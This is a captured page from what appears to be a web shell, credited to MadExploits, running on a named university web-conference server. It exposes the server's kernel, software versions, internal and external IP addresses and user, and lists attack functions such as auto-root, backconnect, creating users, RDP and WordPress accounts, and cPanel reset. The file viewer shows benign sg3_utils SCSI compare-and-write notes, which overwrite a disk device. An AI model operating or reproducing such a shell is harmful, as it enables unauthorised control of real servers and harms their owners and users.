Linux web-conference.aiou.edu.pk 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 172.16.50.247 | : 3.16.47.126
Cant Read [ /etc/named.conf ]
7.4.3-4ubuntu2.28
appadmin
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
sg3-utils /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
archive
[ DIR ]
drwxr-xr-x
Makefile
3.08
KB
-rw-r--r--
Makefile.freebsd
1.98
KB
-rw-r--r--
README
776
B
-rw-r--r--
forwarded_sense.txt
296
B
-rw-r--r--
nvme_dev_self_test.hex
806
B
-rw-r--r--
nvme_identify_ctl.hex
1.17
KB
-rw-r--r--
reassign_addr.txt
465
B
-rw-r--r--
ref_sense.txt
305
B
-rw-r--r--
scsi_inquiry.c.gz
1.59
KB
-rw-r--r--
sdiag_sas_p0_cjtpat.txt
405
B
-rw-r--r--
sdiag_sas_p1_cjtpat.txt
464
B
-rw-r--r--
sdiag_sas_p1_idle.txt
560
B
-rw-r--r--
sdiag_sas_p1_stop.txt
359
B
-rw-r--r--
sg__sat_identify.c.gz
3.01
KB
-rw-r--r--
sg__sat_phy_event.c.gz
4.21
KB
-rw-r--r--
sg__sat_set_features.c.gz
3.33
KB
-rw-r--r--
sg_compare_and_write.txt
2.43
KB
-rw-r--r--
sg_excl.c.gz
1.99
KB
-rw-r--r--
sg_persist_tst.sh
3.54
KB
-rwxr-xr-x
sg_sat_chk_power.c.gz
3.24
KB
-rw-r--r--
sg_sat_smart_rd_data.c.gz
2.61
KB
-rw-r--r--
sg_simple1.c.gz
2
KB
-rw-r--r--
sg_simple16.c
3.41
KB
-rw-r--r--
sg_simple2.c.gz
2.09
KB
-rw-r--r--
sg_simple3.c.gz
2.1
KB
-rw-r--r--
sg_simple4.c.gz
2.33
KB
-rw-r--r--
sg_simple5.c.gz
1.89
KB
-rw-r--r--
sg_unmap_example.txt
1.6
KB
-rw-r--r--
sgq_dd.c.gz
8.95
KB
-rw-r--r--
transport_ids.txt
1.11
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sg_compare_and_write.txt
# sg_compare_and_write.txt # This file provides a usage example of sg_compare_and_write. # sg_compare_and_write accepts a buffer containing 2 logical instances: # - the verify instance: used to match the current content of the LBA range # - the write instance: used to write to the LBA if the verify succeeds # # In case of failure to verify the data, the command will return with check # condition with the sense code set to MISCOMPARE DURING VERIFY OPERATION. # # The following example shows initialization, successful and unsuccessful # compare and write using sg3_utils. I am using caw_buf_zero2one and # caw_buf_one2zero as shown bellow. $ hexdump /tmp/caw_buf_zero2one 0000000 0000 0000 0000 0000 0000 0000 0000 0000 * 0000200 1111 1111 1111 1111 1111 1111 1111 1111 * 0000400 $ hexdump /tmp/caw_buf_one2zero 0000000 1111 1111 1111 1111 1111 1111 1111 1111 * 0000200 0000 0000 0000 0000 0000 0000 0000 0000 * 0000400 $ sg_map -i -x /dev/sg0 0 0 0 0 0 /dev/sda ATA ST3320613AS CC2H /dev/sg1 3 0 0 0 5 /dev/scd0 HL-DT-ST DVD-RAM GH22NS30 1.01 /dev/sg2 5 0 0 0 0 /dev/sdb KMNRIO K2 0000 /dev/sg3 5 0 0 1 0 /dev/sdc KMNRIO K2 0000 # First I zero out the volume to make sure that the first compare and write # will succeed $ sg_write_same --16 -i /dev/zero -n 0x200000 -x 512 /dev/sdc $ dd if=/dev/sdc bs=512 count=1 skip=100 2>/dev/null | hexdump 0000000 0000 0000 0000 0000 0000 0000 0000 0000 * 0000200 $ ./sg_compare_and_write --in=/tmp/caw_buf_zero2one --lba=100 --xferlen=1024 /dev/sdc # contents of LBA 100 are a block of ones $ dd if=/dev/sdc bs=512 count=1 skip=100 2>/dev/null | hexdump 0000000 1111 1111 1111 1111 1111 1111 1111 1111 * 0000200 # We repeat the same compare and write command (zero2one input buffer). # compare and write fails since the verify failed (compared the zero block to # the actual 1 block in LBA 100 $ ./sg_compare_and_write --in=/tmp/caw_buf_zero2one --lba=100 --xferlen=1024 /dev/sdc COMPARE AND WRITE: Fixed format, current; Sense key: Miscompare Additional sense: Miscompare during verify operation sg_compare_and_write: SCSI COMPARE AND WRITE failed # Now we use the second buffer (one2zero) $ ./sg_compare_and_write --in=/tmp/caw_buf_one2zero --lba=100 --xferlen=1024 /dev/sdc # operation succeeded, contents of LBA 100 are back to zero $ dd if=/dev/sdc bs=512 count=1 skip=100 2>/dev/null | hexdump 0000000 0000 0000 0000 0000 0000 0000 0000 0000 * 0000200
Close